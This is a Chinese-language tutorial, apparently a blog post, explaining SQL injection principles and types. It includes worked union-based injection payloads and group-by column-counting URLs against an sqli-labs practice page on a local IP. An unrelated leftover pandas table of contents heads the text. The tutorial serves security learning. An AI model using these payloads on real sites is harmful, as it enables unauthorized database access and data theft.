文章目录
- 前言
- 一、pandas是什么?
- 二、使用步骤
- 1.引入库
- 2.读入数据
- 总结
一.Sql注入概述
攻击者通过构造恶意的SQL查询语句,将其注入到应用程序的数据库查询中,以执行未经授权的操作或者获取敏感信息。
假设如下场景,当你想要知道对方实际年龄时碍于某些原因无法直接询问对方实际年龄时,可以通过询问对方的学历,年级等信息倒推出对方的实际年龄,Sql注入原理类似。
二.Sql注入原理
用户通过前端页面输入数据时不受限制(如:输入网址,账户/密码等);后端服务器程序会将前端输入的内容拼接成SQL语句并在数据库中执行;数据库会将SQL语句执行结果返回给后端程序,后端服务器再根据数据库返回结果返回给前端页面一个回显信息(如:密码错误,404等)
若此时黑客在前端页面输入一些有目的的SQL语句,可能会导致后端程序拼接出一些危险的SQL语句(如:查询用户密码,删库等)在数据库中执行。
举个例子:
常见前端页面输入如下:
后端拼接SQL语句如下:
由于输入的用户密码不正确,数据库无法执行,后端会回显账号密码不正确
黑客前端页面输入:
后端拼接SQL语句:、
上述恶意SQL语句能够查出数据,从而能够绕开登录限制成功登录。
三.Sql注入逆向分析
Sql注入分类
按照查询字段:
- 字符型:当注入的参数为字符串时,称为字符型。
- 数字型:当输入的参数为整型时,可以认为是数字型注入。
- 判断标准:数字类型的sql语句可被运算后执行,而字符型不可、例如。id=1的sql查询结果是aa,id=2的查询结果是bb,设sql注入:id=2-1.若查询结果是aa即为数字型,反之是字符型
按照注入方法:
- Union注入,报错注入,布尔注入,时间注入
Sql注入点
SQL注入点就像是一个漏洞,可以让坏人通过输入一些特殊的东西,像是代码或者指令,让数据库做一些不该做的事情。
举个例子吧,假设你在一个网站上登录账户,输入用户名和密码来登录。但是如果这个网站没有做好安全措施,坏人可能会在登录框里输入一些奇怪的代码,这样就可以让数据库做一些坏事,比如获取其他用户的密码,甚至是删除一些重要的数据。
Sql 语句闭合方式判断
Sql 语句闭合方式分类:
- 单引号:‘ / ’)
- 双引号:" " / " ")
我们可以通过在URL输入栏中使用布尔
举个例子:
#后端程序根据URL拼接出SQL语句在数据库中执行,报错原因如下
''2'' LIMIT 0,1' at line 1
报错原因分析:
URL中的2'使原先可被执行的SQL语句中两两对称四个单引号的变为5单个引号从而导致SQL语句执行失败,由此可到推出后端程序拼接出的SQL语句闭合方式是单引号闭合
闭合的作用:
手工提交闭合符号,结束前一段查询语句,后面即可加入其它语句,查询需要的参数。不需要的语句可以使用"--+"注释掉
#使用--+注释多余语句:2'--+
报错SQL语句:''2'' LIMIT 0,1' at line
使用--+后SQL语句变为:''2'' 即--+会将LIMIT 0,1'注释掉从而是恶意的SQL语句成功执行
Union联合注入:
sql注入中可以利用union查询需要前后列数一致的原则
#union联合查询语法
SELECT column1, column2 FROM table1
UNION
SELECT column1, column2 FROM table2;
Union联合注入案例:
#SQL注入语句:
http://192.168.100.10/sql/Less-1/index.php?id=1' union select database()--+
#报错语句:
The used SELECT statements have a different number of columns
#报错语句分析:
由http://192.168.100.10/sql/Less-1/index.php?id=1'拼接出的SQL语句查询出的列数
和SQL注入union联合注入语句:union select database()--+ 查询出的列出不一致
SQL语句解析:select database():查询数据库的名字 -->该语句仅查询一列数据即数据库名字
如何判断正常拼接出的SQL语句查询出的列数?
可以使用group by /order by 语句
#group by 语法:
SELECT grade, COUNT(*) as num_of_students
FROM students
GROUP BY grade;
#这个查询将会返回每个成绩分数段以及在该分数段内的学生人数。
#成功执行的sql注入语句:
http://192.168.100.10/sql/Less-1/index.php?id=1' group by 1--+
http://192.168.100.10/sql/Less-1/index.php?id=1' group by 2--+
http://192.168.100.10/sql/Less-1/index.php?id=1' group by 3--+
#未成功执行的SQL语句:
http://192.168.100.10/sql/Less-1/index.php?id=1' group by 4--+
逆向分析结果:
group by 1--+:正常拼接SQL语句查询出的数据含有"1"这个列名
group by 2--+:正常拼接SQL语句查询出的数据含有"2"这个列名
group by 3--+:正常拼接SQL语句查询出的数据含有"3"这个列名
group by 4--+:正常拼接SQL语句查询出的数据不含"4"这个列名
综上判断:正常拼接出的SQL语句共查出3列数据